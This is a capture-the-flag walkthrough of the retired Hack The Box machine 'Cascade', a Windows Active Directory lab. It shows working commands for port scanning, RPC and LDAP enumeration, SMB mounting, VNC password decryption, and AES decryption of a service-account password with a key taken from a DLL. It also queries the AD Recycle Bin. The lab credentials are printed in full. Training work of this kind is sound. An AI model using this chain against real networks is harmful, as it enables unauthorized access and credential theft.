Background

Cascade is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-03-29 10:16:44 GMT

Discovered open port 49157/tcp on 10.10.10.182
Discovered open port 5985/tcp on 10.10.10.182

The list of open ports resembles that of a Windows machine. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49173 -A --reason 10.10.10.182 -oN nmap.txt

Looks like we have a Windows Active Directory server. Cascade: Hack The Box Walkthrough

RPC Enumeration

Since RPC is available, let’s see what the good ol’ rpcclient reveals.

# rpcclient -U% -c enumdomusers 10.10.10.182
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]

user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

Cool. We have a list of users. Now, we are going for the low hanging fruit: TGTs for users with the “Do not require Kerberos pre-authentication” set.

Hmm. No easy path in. Don’t worry, let’s check the domain password policy.

# rpcclient -U% -c getdompwinfo 10.10.10.182
min_password_length: 5
password_properties: 0x00000000

OK. Looks like we have a simple password policy. What else can we find?

Lightweight Directory Access Protocol (LDAP) Enumeration

Truth be told, one can actually use the Lightweight Directory Access Protocol (LDAP) to talk to Active Directory. Let’s see what can we glean with ldapsearch .

# ldapsearch -h 10.10.10.182 -x -b "dc=cascade,dc=local"

Looks like someone is using an old password! The password can be decoded like so.

# echo -n clk0bjVldmE= | base64 -d; echo
rY4n5eva

Let’s see what else can we enumerate now that we have credential ( r.thompson:rY4n5eva ).

SMB Enumeration

I’ve heard so many good things about CrackMapExec (CME) but never had the chance to use it. Now is a wonderful opportunity.

Cascade: Hack The Box Walkthrough

We have a share! Time to mount the share and enumerate further to our hearts’ content. To mount a SMB share in Linux, we can use the command mount like so.

# mkdir Data; mount -t cifs -o rw,username=r.thompson,password=rY4n5eva //10.10.10.182/Data ./Data
# ls -laR Data/

What have we here. VNC password??!!

VNC Password Decryption

We can easily reveal the plaintext password with vncpwd even though it’s encrypted.

# echo -n 6b,cf,2a,4b,6e,5a,ca,0f | tr -d ',' | xxd -p -r > s.smith.vnc && ./vncpwd s.smith.vnc
Password: sT333ve2

Low-Privilege Shell

Armed with s.smith ’s password, we can use Evil-WinRM to get us a shell. That’s because s.smith is a member of the Remote Management Users group.

Cascade: Hack The Box Walkthrough

Awesome. The file user.txt is at s.smith ’s desktop.

Cascade: Hack The Box Walkthrough

Privilege Escalation

During enumeration of s.smith ’s account, I notice he can access a hidden share. Recall the LDAP enumeration? There’s actually a foreshadowing of the things to come.

Cascade: Hack The Box Walkthrough

These three files, Audit.db , CascAudit.exe and CascCrypto.dll look interesting. Better copy them to my analysis machine for somes dissection. I’ll leave it as an exercise how to transfer the files over. Hint : nc.exe from Kali Linux.

SQLite 3 and .NET Disassembly

Turns out that Audit.db is a SQLite3 file.

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "Ldap" (
        "Id"    INTEGER PRIMARY KEY AUTOINCREMENT,
        "uname" TEXT,
        "pwd"   TEXT,
        "domain"        TEXT

INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');

        "Username"      TEXT,

        "DistinguishedName"     TEXT
);
INSERT INTO DeletedUserAudit VALUES(6,'test',replace('Test\nDEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d','\n',char(10)),'CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local');
INSERT INTO DeletedUserAudit VALUES(7,'deleted',replace('deleted guy\nDEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef','\n',char(10)),'CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local');
INSERT INTO DeletedUserAudit VALUES(9,'TempAdmin',replace('TempAdmin\nDEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a','\n',char(10)),'CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('Ldap',2);
INSERT INTO sqlite_sequence VALUES('DeletedUserAudit',10);
COMMIT;

Looks like arksvc uses CascAudit.exe to delete users. This appears to corroborate with the ArkAdRecycleBin.log seen previously.

Long story short, CasCrypto.dll has a Crypto class with a DecryptString method that decrypts arksvc ’s password.

Cascade: Hack The Box Walkthrough

Cascade: Hack The Box Walkthrough

We have all we need to decrypt the password like so.

# echo -n BQO5l5Kj9MdErXx6Q6AGOw== | base64 -d | openssl enc -aes-128-cbc -d -nosalt -nopad -K $(echo -n c4scadek3y654321 | iconv -t UTF-8 | xxd -p) -iv $(echo -n 1tdyjCbY1Ix49842 | iconv -t UTF-8 | xxd -p); echo
w3lc0meFr31nd

We now have arksvc ’s credential ( arksvc:w3lc0meFr31nd ). arksvc is also a member of the Remote Management Users group. Let’s login with Evil-WinRM.

Cascade: Hack The Box Walkthrough

Sweet.

Active Directory Recycle Bin

The assumption here is that Active Directory Recycle Bin is enabled for this server and that TempAdmin has been deleted and placed in the Active Directory Recycle Bin. We have also previously established the fact that arksvc is a member of the AD Recycle Bin group and should possess the permissions to query deleted objects.

Cascade: Hack The Box Walkthrough

We can search for deleted objects with the Get-ADObject cmdlet like so.

Get-ADObject -Filter 'displayName -eq "TempAdmin"' -SearchBase "CN=Deleted Objects,DC=cascade,DC=local" -IncludeDeleted -Properties * | fl
